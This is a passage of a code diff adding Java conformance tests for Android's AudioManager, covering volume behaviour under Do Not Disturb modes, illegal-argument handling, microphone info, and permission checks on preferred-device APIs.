+            int musicVolume = mAudioManager.getStreamVolume(STREAM_MUSIC);
+            mAudioManager.adjustStreamVolume(
+                    STREAM_MUSIC, ADJUST_RAISE, 0);
+            int volumeDelta =
+                    getVolumeDelta(mAudioManager.getStreamVolume(STREAM_MUSIC));
+            assertStreamVolumeEquals(STREAM_MUSIC, musicVolume + volumeDelta);
+
+        } finally {
+            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
+        }
+    }
+
+    public void testSetStreamVolumeInTotalSilenceMode() throws Exception {
+        if (mSkipRingerTests) {
+            return;
+        }
+        try {
+            Utils.toggleNotificationPolicyAccess(
+                    mContext.getPackageName(), getInstrumentation(), true);
+            mAudioManager.setStreamVolume(STREAM_RING, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
+
+            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_NONE);
+            // delay for streams interruption filter to get into correct state
+            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+
+            // cannot adjust music, can adjust ringer since it could exit DND
+            int musicVolume = mAudioManager.getStreamVolume(STREAM_MUSIC);
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 7, 0);
+            assertStreamVolumeEquals(STREAM_MUSIC, musicVolume);
+            mAudioManager.setStreamVolume(STREAM_RING, 7, 0);
+            assertStreamVolumeEquals(STREAM_RING, 7);
+        } finally {
+            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
+        }
+    }
+
+    public void testSetStreamVolumeInAlarmsOnlyMode() throws Exception {
+        if (mSkipRingerTests) {
+            return;
+        }
+        try {
+            Utils.toggleNotificationPolicyAccess(
+                    mContext.getPackageName(), getInstrumentation(), true);
+            mAudioManager.setStreamVolume(STREAM_RING, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
+            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALARMS);
+            // delay for streams to get into correct volume states
+            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+
+            // can still adjust music and ring volume
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 3, 0);
+            assertStreamVolumeEquals(STREAM_MUSIC, 3);
+            mAudioManager.setStreamVolume(STREAM_RING, 7, 0);
+            assertStreamVolumeEquals(STREAM_RING, 7);
+        } finally {
+            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
+        }
+    }
+
+    public void testSetStreamVolumeInPriorityOnlyMode() throws Exception {
+        if (mSkipRingerTests) {
+            return;
+        }
+        Utils.toggleNotificationPolicyAccess(
+                mContext.getPackageName(), getInstrumentation(), true);
+
+        try {
+            // turn off zen, set stream volumes to check for later
+            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
+
+            final int testRingerVol = getTestRingerVol();
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_ALARM, 1, 0);
+            int musicVolume = mAudioManager.getStreamVolume(STREAM_MUSIC);
+            int alarmVolume = mAudioManager.getStreamVolume(STREAM_ALARM);
+
+            // disallow all sounds in priority only, turn on priority only DND, try to change volume
+            mNm.setNotificationPolicy(new NotificationManager.Policy(0, 0 , 0));
+            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
+            // delay for streams to get into correct volume states
+            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 3, 0);
+            mAudioManager.setStreamVolume(STREAM_ALARM, 5, 0);
+            mAudioManager.setStreamVolume(STREAM_RING, testRingerVol, 0);
+
+            // Turn off zen and make sure stream levels are still the same prior to zen
+            // aside from ringer since ringer can exit dnd
+            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
+            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS); // delay for streams to get into correct states
+            assertEquals(musicVolume, mAudioManager.getStreamVolume(STREAM_MUSIC));
+            assertEquals(alarmVolume, mAudioManager.getStreamVolume(STREAM_ALARM));
+            assertEquals(testRingerVol, mAudioManager.getStreamVolume(STREAM_RING));
+        } finally {
+            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
+        }
+    }
+
+    public void testAdjustVolumeInPriorityOnly() throws Exception {
+        if (mSkipRingerTests) {
+            return;
+        }
+
+        Utils.toggleNotificationPolicyAccess(
+                mContext.getPackageName(), getInstrumentation(), true);
+        try {
+            // turn off zen, set stream volumes to check for later
+            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
+            mAudioManager.setStreamVolume(STREAM_RING, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_ALARM, 1, 0);
+            int ringVolume = mAudioManager.getStreamVolume(STREAM_RING);
+            int musicVolume = mAudioManager.getStreamVolume(STREAM_MUSIC);
+            int alarmVolume = mAudioManager.getStreamVolume(STREAM_ALARM);
+
+            // disallow all sounds in priority only, turn on priority only DND, try to change volume
+            mNm.setNotificationPolicy(new NotificationManager.Policy(0, 0, 0));
+            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
+            // delay for streams to get into correct mute states
+            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+            mAudioManager.adjustStreamVolume(
+                    STREAM_RING, ADJUST_RAISE, 0);
+            mAudioManager.adjustStreamVolume(
+                    STREAM_MUSIC, ADJUST_RAISE, 0);
+            mAudioManager.adjustStreamVolume(
+                    STREAM_ALARM, ADJUST_RAISE, 0);
+
+            // Turn off zen and make sure stream levels are still the same prior to zen
+            // aside from ringer since ringer can exit dnd
+            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
+            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS); // delay for streams to get into correct states
+            assertEquals(musicVolume, mAudioManager.getStreamVolume(STREAM_MUSIC));
+            assertEquals(alarmVolume, mAudioManager.getStreamVolume(STREAM_ALARM));
+
+            int volumeDelta =
+                    getVolumeDelta(mAudioManager.getStreamVolume(STREAM_RING));
+            assertEquals(ringVolume + volumeDelta,
+                    mAudioManager.getStreamVolume(STREAM_RING));
+        } finally {
+            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
+        }
+    }
+
+    public void testPriorityOnlyMuteAll() throws Exception {
+        if (mSkipRingerTests) {
+            return;
+        }
+
+        Utils.toggleNotificationPolicyAccess(
+                mContext.getPackageName(), getInstrumentation(), true);
+        try {
+            // ensure volume is not muted/0 to start test
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_ALARM, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_SYSTEM, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_RING, 1, 0);
+
+            // disallow all sounds in priority only, turn on priority only DND
+            mNm.setNotificationPolicy(new NotificationManager.Policy(0, 0, 0));
+            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
+
+            assertStreamMuted(STREAM_MUSIC, true,
+                    "Music (media) stream should be muted");
+            assertStreamMuted(STREAM_SYSTEM, true,
+                    "System stream should be muted");
+            assertStreamMuted(STREAM_ALARM, true,
+                    "Alarm stream should be muted");
+
+            // if channels cannot bypass DND, the Ringer stream should be muted, else it
+            // shouldn't be muted
+            assertStreamMuted(STREAM_RING, !mAppsBypassingDnd,
+                    "Ringer stream should be muted if channels cannot bypassDnd");
+        } finally {
+            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
+        }
+    }
+
+    public void testPriorityOnlyMediaAllowed() throws Exception {
+        if (mSkipRingerTests) {
+            return;
+        }
+        Utils.toggleNotificationPolicyAccess(
+                mContext.getPackageName(), getInstrumentation(), true);
+        try {
+            // ensure volume is not muted/0 to start test
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_ALARM, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_SYSTEM, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_RING, 1, 0);
+
+            // allow only media in priority only
+            mNm.setNotificationPolicy(new NotificationManager.Policy(
+                    NotificationManager.Policy.PRIORITY_CATEGORY_MEDIA, 0, 0));
+            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
+
+            assertStreamMuted(STREAM_MUSIC, false,
+                    "Music (media) stream should not be muted");
+            assertStreamMuted(STREAM_SYSTEM, true,
+                    "System stream should be muted");
+            assertStreamMuted(STREAM_ALARM, true,
+                    "Alarm stream should be muted");
+
+            // if channels cannot bypass DND, the Ringer stream should be muted, else it
+            // shouldn't be muted
+            assertStreamMuted(STREAM_RING, !mAppsBypassingDnd,
+                    "Ringer stream should be muted if channels cannot bypassDnd");
+        } finally {
+            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
+        }
+    }
+
+    public void testPriorityOnlySystemAllowed() throws Exception {
+        if (mSkipRingerTests) {
+            return;
+        }
+
+        Utils.toggleNotificationPolicyAccess(
+                mContext.getPackageName(), getInstrumentation(), true);
+        try {
+            // ensure volume is not muted/0 to start test
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_ALARM, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_SYSTEM, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_RING, 1, 0);
+
+            // allow only system in priority only
+            mNm.setNotificationPolicy(new NotificationManager.Policy(
+                    NotificationManager.Policy.PRIORITY_CATEGORY_SYSTEM, 0, 0));
+            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
+
+            assertStreamMuted(STREAM_MUSIC, true,
+                    "Music (media) stream should be muted");
+            assertStreamMuted(STREAM_SYSTEM, false,
+                    "System stream should not be muted");
+            assertStreamMuted(STREAM_ALARM, true,
+                    "Alarm stream should be muted");
+            assertStreamMuted(STREAM_RING, false,
+                    "Ringer stream should not be muted");
+        } finally {
+            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
+        }
+    }
+
+    public void testPriorityOnlySystemDisallowedWithRingerMuted() throws Exception {
+        if (mSkipRingerTests) {
+            return;
+        }
+
+        Utils.toggleNotificationPolicyAccess(
+                mContext.getPackageName(), getInstrumentation(), true);
+        try {
+            // ensure volume is not muted/0 to start test, but then mute ringer
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_ALARM, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_SYSTEM, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_RING, 0, 0);
+            mAudioManager.setRingerMode(RINGER_MODE_SILENT);
+
+            // allow only system in priority only
+            mNm.setNotificationPolicy(new NotificationManager.Policy(
+                    NotificationManager.Policy.PRIORITY_CATEGORY_SYSTEM, 0, 0));
+            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
+
+            assertStreamMuted(STREAM_MUSIC, true,
+                    "Music (media) stream should be muted");
+            assertStreamMuted(STREAM_SYSTEM, true,
+                    "System stream should be muted");
+            assertStreamMuted(STREAM_ALARM, true,
+                    "Alarm stream should be muted");
+            assertStreamMuted(STREAM_RING, true,
+                    "Ringer stream should be muted");
+        } finally {
+            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
+        }
+    }
+
+    public void testPriorityOnlyAlarmsAllowed() throws Exception {
+        if (mSkipRingerTests) {
+            return;
+        }
+
+        Utils.toggleNotificationPolicyAccess(
+                mContext.getPackageName(), getInstrumentation(), true);
+        try {
+            // ensure volume is not muted/0 to start test
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_ALARM, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_SYSTEM, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_RING, 1, 0);
+
+            // allow only alarms in priority only
+            mNm.setNotificationPolicy(new NotificationManager.Policy(
+                    NotificationManager.Policy.PRIORITY_CATEGORY_ALARMS, 0, 0));
+            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
+
+            assertStreamMuted(STREAM_MUSIC, true,
+                    "Music (media) stream should be muted");
+            assertStreamMuted(STREAM_SYSTEM, true,
+                    "System stream should be muted");
+            assertStreamMuted(STREAM_ALARM, false,
+                    "Alarm stream should not be muted");
+
+            // if channels cannot bypass DND, the Ringer stream should be muted, else it
+            // shouldn't be muted
+            assertStreamMuted(STREAM_RING, !mAppsBypassingDnd,
+                    "Ringer stream should be muted if channels cannot bypassDnd");
+        } finally {
+            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
+        }
+    }
+
+    public void testPriorityOnlyRingerAllowed() throws Exception {
+        if (mSkipRingerTests) {
+            return;
+        }
+
+        Utils.toggleNotificationPolicyAccess(
+                mContext.getPackageName(), getInstrumentation(), true);
+        try {
+            // ensure volume is not muted/0 to start test
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_ALARM, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_SYSTEM, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_RING, 1, 0);
+
+            // allow only reminders in priority only
+            mNm.setNotificationPolicy(new NotificationManager.Policy(
+                    NotificationManager.Policy.PRIORITY_CATEGORY_REMINDERS, 0, 0));
+            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
+
+            assertStreamMuted(STREAM_MUSIC, true,
+                    "Music (media) stream should be muted");
+            assertStreamMuted(STREAM_SYSTEM, true,
+                    "System stream should be muted");
+            assertStreamMuted(STREAM_ALARM, true,
+                    "Alarm stream should be muted");
+            assertStreamMuted(STREAM_RING, false,
+                    "Ringer stream should not be muted");
+        } finally {
+            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
+        }
+    }
+
+    public void testPriorityOnlyChannelsCanBypassDnd() throws Exception {
+        if (mSkipRingerTests) {
+            return;
+        }
+
+        Utils.toggleNotificationPolicyAccess(
+                mContext.getPackageName(), getInstrumentation(), true);
+
+        final String NOTIFICATION_CHANNEL_ID = "test_id_" + SystemClock.uptimeMillis();
+        NotificationChannel channel = new NotificationChannel(NOTIFICATION_CHANNEL_ID, "TEST",
+                NotificationManager.IMPORTANCE_DEFAULT);
+        try {
+            // ensure volume is not muted/0 to start test
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_ALARM, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_SYSTEM, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_RING, 1, 0);
+
+            // create a channel that can bypass dnd
+            channel.setBypassDnd(true);
+            mNm.createNotificationChannel(channel);
+
+            // allow nothing
+            mNm.setNotificationPolicy(new NotificationManager.Policy(0,0, 0));
+            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
+
+            assertStreamMuted(STREAM_MUSIC, true,
+                    "Music (media) stream should be muted");
+            assertStreamMuted(STREAM_SYSTEM, true,
+                    "System stream should be muted");
+            assertStreamMuted(STREAM_ALARM, true,
+                    "Alarm stream should be muted");
+            assertStreamMuted(STREAM_RING, false,
+                    "Ringer stream should not be muted."
+                            + " areChannelsBypassing="
+                            + NotificationManager.getService().areChannelsBypassingDnd());
+
+            // delete the channel that can bypass dnd
+            mNm.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
+
+            assertStreamMuted(STREAM_MUSIC, true,
+                    "Music (media) stream should be muted");
+            assertStreamMuted(STREAM_SYSTEM, true,
+                    "System stream should be muted");
+            assertStreamMuted(STREAM_ALARM, true,
+                    "Alarm stream should be muted");
+            // if channels cannot bypass DND, the Ringer stream should be muted, else it
+            // shouldn't be muted
+            assertStreamMuted(STREAM_RING, !mAppsBypassingDnd,
+                    "Ringer stream should be muted if apps are bypassing dnd"
+                            + " areChannelsBypassing="
+                            + NotificationManager.getService().areChannelsBypassingDnd());
+        } finally {
+            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
+            mNm.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
+            Utils.toggleNotificationPolicyAccess(mContext.getPackageName(), getInstrumentation(),
+                    false);
+        }
+    }
+
+    public void testAdjustVolumeWithIllegalDirection() throws Exception {
+        // Call the method with illegal direction. System should not reboot.
+        mAudioManager.adjustVolume(37, 0);
+    }
+
+    private final int[] PUBLIC_STREAM_TYPES = { STREAM_VOICE_CALL,
+            STREAM_SYSTEM, STREAM_RING, STREAM_MUSIC,
+            STREAM_ALARM, STREAM_NOTIFICATION,
+            STREAM_DTMF,  STREAM_ACCESSIBILITY };
+
+    public void testGetStreamVolumeDbWithIllegalArguments() throws Exception {
+        Exception ex = null;
+        // invalid stream type
+        try {
+            float gain = mAudioManager.getStreamVolumeDb(-100 /*streamType*/, 0,
+                    AudioDeviceInfo.TYPE_BUILTIN_SPEAKER);
+        } catch (Exception e) {
+            ex = e; // expected
+        }
+        assertNotNull("No exception was thrown for an invalid stream type", ex);
+        assertEquals("Wrong exception thrown for invalid stream type",
+                ex.getClass(), IllegalArgumentException.class);
+
+        // invalid volume index
+        ex = null;
+        try {
+            float gain = mAudioManager.getStreamVolumeDb(STREAM_MUSIC, -101 /*volume*/,
+                    AudioDeviceInfo.TYPE_BUILTIN_SPEAKER);
+        } catch (Exception e) {
+            ex = e; // expected
+        }
+        assertNotNull("No exception was thrown for an invalid volume index", ex);
+        assertEquals("Wrong exception thrown for invalid volume index",
+                ex.getClass(), IllegalArgumentException.class);
+
+        // invalid out of range volume index
+        ex = null;
+        try {
+            final int maxVol = mAudioManager.getStreamMaxVolume(STREAM_MUSIC);
+            float gain = mAudioManager.getStreamVolumeDb(STREAM_MUSIC, maxVol + 1,
+                    AudioDeviceInfo.TYPE_BUILTIN_SPEAKER);
+        } catch (Exception e) {
+            ex = e; // expected
+        }
+        assertNotNull("No exception was thrown for an invalid out of range volume index", ex);
+        assertEquals("Wrong exception thrown for invalid out of range volume index",
+                ex.getClass(), IllegalArgumentException.class);
+
+        // invalid device type
+        ex = null;
+        try {
+            float gain = mAudioManager.getStreamVolumeDb(STREAM_MUSIC, 0,
+                    -102 /*deviceType*/);
+        } catch (Exception e) {
+            ex = e; // expected
+        }
+        assertNotNull("No exception was thrown for an invalid device type", ex);
+        assertEquals("Wrong exception thrown for invalid device type",
+                ex.getClass(), IllegalArgumentException.class);
+
+        // invalid input device type
+        ex = null;
+        try {
+            float gain = mAudioManager.getStreamVolumeDb(STREAM_MUSIC, 0,
+                    AudioDeviceInfo.TYPE_BUILTIN_MIC);
+        } catch (Exception e) {
+            ex = e; // expected
+        }
+        assertNotNull("No exception was thrown for an invalid input device type", ex);
+        assertEquals("Wrong exception thrown for invalid input device type",
+                ex.getClass(), IllegalArgumentException.class);
+    }
+
+    public void testGetStreamVolumeDb() throws Exception {
+        for (int streamType : PUBLIC_STREAM_TYPES) {
+            // verify mininum index is strictly inferior to maximum index
+            final int minIndex = mAudioManager.getStreamMinVolume(streamType);
+            final int maxIndex = mAudioManager.getStreamMaxVolume(streamType);
+            assertTrue("Min vol index (" + minIndex + ") for stream " + streamType + " not inferior"
+                    + " to max vol index (" + maxIndex + ")", minIndex <= maxIndex);
+            float prevGain = Float.NEGATIVE_INFINITY;
+            // verify gain increases with the volume indices
+            for (int idx = minIndex ; idx <= maxIndex ; idx++) {
+                float gain = mAudioManager.getStreamVolumeDb(streamType, idx,
+                        AudioDeviceInfo.TYPE_BUILTIN_SPEAKER);
+                assertTrue("Non-monotonically increasing gain at index " + idx + " for stream"
+                        + streamType, prevGain <= gain);
+                prevGain = gain;
+            }
+        }
+    }
+
+    public void testAdjustSuggestedStreamVolumeWithIllegalArguments() throws Exception {
+        // Call the method with illegal direction. System should not reboot.
+        mAudioManager.adjustSuggestedStreamVolume(37, STREAM_MUSIC, 0);
+
+        // Call the method with illegal stream. System should not reboot.
+        mAudioManager.adjustSuggestedStreamVolume(ADJUST_RAISE, 66747, 0);
+    }
+
+    @CddTest(requirement="5.4.1/C-1-4")
+    public void testGetMicrophones() throws Exception {
+        if (!mContext.getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_MICROPHONE)) {
+            return;
+        }
+        List<MicrophoneInfo> microphones = mAudioManager.getMicrophones();
+        assertTrue(microphones.size() > 0);
+        for (int i = 0; i < microphones.size(); i++) {
+            MicrophoneInfo microphone = microphones.get(i);
+            Log.i(TAG, "deviceId:" + microphone.getDescription());
+            Log.i(TAG, "portId:" + microphone.getId());
+            Log.i(TAG, "type:" + microphone.getType());
+            Log.i(TAG, "address:" + microphone.getAddress());
+            Log.i(TAG, "deviceLocation:" + microphone.getLocation());
+            Log.i(TAG, "deviceGroup:" + microphone.getGroup()
+                    + " index:" + microphone.getIndexInTheGroup());
+            MicrophoneInfo.Coordinate3F position = microphone.getPosition();
+            Log.i(TAG, "position:" + position.x + " " + position.y + " " + position.z);
+            MicrophoneInfo.Coordinate3F orientation = microphone.getOrientation();
+            Log.i(TAG, "orientation:" + orientation.x + " "
+                    + orientation.y + " " + orientation.z);
+            Log.i(TAG, "frequencyResponse:" + microphone.getFrequencyResponse());
+            Log.i(TAG, "channelMapping:" + microphone.getChannelMapping());
+            Log.i(TAG, "sensitivity:" + microphone.getSensitivity());
+            Log.i(TAG, "max spl:" + microphone.getMaxSpl());
+            Log.i(TAG, "min spl:" + microphone.getMinSpl());
+            Log.i(TAG, "directionality:" + microphone.getDirectionality());
+            Log.i(TAG, "--------------");
+        }
+    }
+
+    public void testIsHapticPlaybackSupported() {
+        // Calling the API to make sure it doesn't crash.
+        Log.i(TAG, "isHapticPlaybackSupported: " + AudioManager.isHapticPlaybackSupported());
+    }
+
+    public void testGetAudioHwSyncForSession() {
+        // AudioManager.getAudioHwSyncForSession is not supported before S
+        if (ApiLevelUtil.isAtMost(Build.VERSION_CODES.R)) {
+            Log.i(TAG, "testGetAudioHwSyncForSession skipped, release: " + Build.VERSION.SDK_INT);
+            return;
+        }
+        try {
+            int sessionId = mAudioManager.generateAudioSessionId();
+            assertNotEquals("testGetAudioHwSyncForSession cannot get audio session ID",
+                    AudioManager.ERROR, sessionId);
+            int hwSyncId = mAudioManager.getAudioHwSyncForSession(sessionId);
+            Log.i(TAG, "getAudioHwSyncForSession: " + hwSyncId);
+        } catch (UnsupportedOperationException e) {
+            Log.i(TAG, "getAudioHwSyncForSession not supported");
+        } catch (Exception e) {
+            fail("Unexpected exception thrown by getAudioHwSyncForSession: " + e);
+        }
+    }
+
+    private void setInterruptionFilter(int filter) {
+        mNm.setInterruptionFilter(filter);
+        final long startPoll = SystemClock.uptimeMillis();
+        int currentFilter = -1;
+        while (SystemClock.uptimeMillis() - startPoll < POLL_TIME_UPDATE_INTERRUPTION_FILTER) {
+            currentFilter = mNm.getCurrentInterruptionFilter();
+            if (currentFilter == filter) {
+                return;
+            }
+        }
+        Log.e(TAG, "interruption filter unsuccessfully set. wanted=" + filter
+                + " actual=" + currentFilter);
+    }
+
+    private int getVolumeDelta(int volume) {
+        return 1;
+    }
+
+    private int getTestRingerVol() {
+        final int currentRingVol = mAudioManager.getStreamVolume(STREAM_RING);
+        final int maxRingVol = mAudioManager.getStreamMaxVolume(STREAM_RING);
+        if (currentRingVol != maxRingVol) {
+            return maxRingVol;
+        } else {
+            return maxRingVol - 1;
+        }
+    }
+
+    public void testAllowedCapturePolicy() throws Exception {
+        final int policy = mAudioManager.getAllowedCapturePolicy();
+        assertEquals("Wrong default capture policy", AudioAttributes.ALLOW_CAPTURE_BY_ALL, policy);
+
+        for (int setPolicy : new int[] { AudioAttributes.ALLOW_CAPTURE_BY_NONE,
+                                      AudioAttributes.ALLOW_CAPTURE_BY_SYSTEM,
+                                      AudioAttributes.ALLOW_CAPTURE_BY_ALL}) {
+            mAudioManager.setAllowedCapturePolicy(setPolicy);
+            final int getPolicy = mAudioManager.getAllowedCapturePolicy();
+            assertEquals("Allowed capture policy doesn't match", setPolicy, getPolicy);
+        }
+    }
+
+    public void testIsHdmiSystemAudidoSupported() {
+        // just make sure the call works
+        boolean isSupported = mAudioManager.isHdmiSystemAudioSupported();
+        Log.d(TAG, "isHdmiSystemAudioSupported() = " + isSupported);
+    }
+
+    public void testIsBluetoothScoAvailableOffCall() {
+        // just make sure the call works
+        boolean isSupported = mAudioManager.isBluetoothScoAvailableOffCall();
+        Log.d(TAG, "isBluetoothScoAvailableOffCall() = " + isSupported);
+    }
+
+    public void testStartStopBluetoothSco() {
+        mAudioManager.startBluetoothSco();
+        mAudioManager.stopBluetoothSco();
+    }
+
+    public void testStartStopBluetoothScoVirtualCall() {
+        mAudioManager.startBluetoothScoVirtualCall();
+        mAudioManager.stopBluetoothSco();
+    }
+
+    public void testGetAdditionalOutputDeviceDelay() {
+        AudioDeviceInfo[] devices = mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL);
+        for (AudioDeviceInfo device : devices) {
+            long delay = mAudioManager.getAdditionalOutputDeviceDelay(device);
+            assertTrue("getAdditionalOutputDeviceDelay() = " + delay +" (should be >= 0)",
+                    delay >= 0);
+            delay = mAudioManager.getMaxAdditionalOutputDeviceDelay(device);
+            assertTrue("getMaxAdditionalOutputDeviceDelay() = " + delay +" (should be >= 0)",
+                    delay >= 0);
+        }
+    }
+
+    static class MyPrevDevForStrategyListener implements
+            AudioManager.OnPreferredDevicesForStrategyChangedListener {
+        @Override
+        public void onPreferredDevicesForStrategyChanged(AudioProductStrategy strategy,
+                List<AudioDeviceAttributes> devices) {
+            fail("onPreferredDevicesForStrategyChanged must not be called");
+        }
+    }
+
+    public void testPreferredDevicesForStrategy() {
+        // setPreferredDeviceForStrategy
+        AudioDeviceInfo[] devices = mAudioManager.getDevices(AudioManager.GET_DEVICES_OUTPUTS);
+        if (devices.length <= 0) {
+            Log.i(TAG, "Skip testPreferredDevicesForStrategy as there is no output device");
+            return;
+        }
+        final AudioDeviceAttributes ada = new AudioDeviceAttributes(devices[0]);
+
+        final AudioAttributes mediaAttr = new AudioAttributes.Builder().setUsage(
+                AudioAttributes.USAGE_MEDIA).build();
+        final List<AudioProductStrategy> strategies =
+                AudioProductStrategy.getAudioProductStrategies();
+        AudioProductStrategy strategyForMedia = null;
+        for (AudioProductStrategy strategy : strategies) {
+            if (strategy.supportsAudioAttributes(mediaAttr)) {
+                strategyForMedia = strategy;
+                break;
+            }
+        }
+        if (strategyForMedia == null) {
+            Log.i(TAG, "Skip testPreferredDevicesForStrategy as there is no strategy for media");
+            return;
+        }
+
+        try {
+            mAudioManager.setPreferredDeviceForStrategy(strategyForMedia, ada);
+            fail("setPreferredDeviceForStrategy must fail due to no permission");
+        } catch (SecurityException e) {
+        }
+        try {
+            mAudioManager.getPreferredDeviceForStrategy(strategyForMedia);
+            fail("getPreferredDeviceForStrategy must fail due to no permission");
+        } catch (SecurityException e) {
+        }
+        final List<AudioDeviceAttributes> adas = new ArrayList<>();
+        adas.add(ada);
+        try {
+            mAudioManager.setPreferredDevicesForStrategy(strategyForMedia, adas);
+            fail("setPreferredDevicesForStrategy must fail due to no permission");
+        } catch (SecurityException e) {
+        }
+        try {
+            mAudioManager.getPreferredDevicesForStrategy(strategyForMedia);
+            fail("getPreferredDevicesForStrategy must fail due to no permission");
+        } catch (SecurityException e) {
+        }
+        MyPrevDevForStrategyListener listener = new MyPrevDevForStrategyListener();
+        try {
+            mAudioManager.addOnPreferredDevicesForStrategyChangedListener(
+                    Executors.newSingleThreadExecutor(), listener);
+            fail("addOnPreferredDevicesForStrategyChangedListener must fail due to no permission");
+        } catch (SecurityException e) {
+        }
+        // There is not listener added at server side. Nothing to remove.
+        mAudioManager.removeOnPreferredDevicesForStrategyChangedListener(listener);
+    }
+
+    static class MyPrevDevicesForCapturePresetChangedListener implements
+            AudioManager.OnPreferredDevicesForCapturePresetChangedListener {
+        @Override
+        public void onPreferredDevicesForCapturePresetChanged(
+                int capturePreset, List<AudioDeviceAttributes> devices) {
+            fail("onPreferredDevicesForCapturePresetChanged must not be called");
+        }
+    }
+
+    public void testPreferredDeviceForCapturePreset() {
+        AudioDeviceInfo[] devices = mAudioManager.getDevices(AudioManager.GET_DEVICES_INPUTS);
+        if (devices.length <= 0) {
+            Log.i(TAG, "Skip testPreferredDevicesForStrategy as there is no input device");
+            return;
+        }
+        final AudioDeviceAttributes ada = new AudioDeviceAttributes(devices[0]);
+
+        try {
+            mAudioManager.setPreferredDeviceForCapturePreset(MediaRecorder.AudioSource.MIC, ada);
+            fail("setPreferredDeviceForCapturePreset must fail due to no permission");
+        } catch (SecurityException e) {
+        }
+        try {
+            mAudioManager.getPreferredDevicesForCapturePreset(MediaRecorder.AudioSource.MIC);
+            fail("getPreferredDevicesForCapturePreset must fail due to no permission");
+        } catch (SecurityException e) {
+        }
+        try {
+            mAudioManager.clearPreferredDevicesForCapturePreset(MediaRecorder.AudioSource.MIC);
+            fail("clearPreferredDevicesForCapturePreset must fail due to no permission");
+        } catch (SecurityException e) {
+        }
+        MyPrevDevicesForCapturePresetChangedListener listener =
+                new MyPrevDevicesForCapturePresetChangedListener();
+        try {
+            mAudioManager.addOnPreferredDevicesForCapturePresetChangedListener(
+                Executors.newSingleThreadExecutor(), listener);
+            fail("addOnPreferredDevicesForCapturePresetChangedListener must fail"
+                    + "due to no permission");
+        } catch (SecurityException e) {
+        }
+        // There is not listener added at server side. Nothing to remove.
+        mAudioManager.removeOnPreferredDevicesForCapturePresetChangedListener(listener);
+    }
+
+    public void testGetDevices() {
+        AudioDeviceInfo[] devices = mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL);
+        for (AudioDeviceInfo device : devices) {
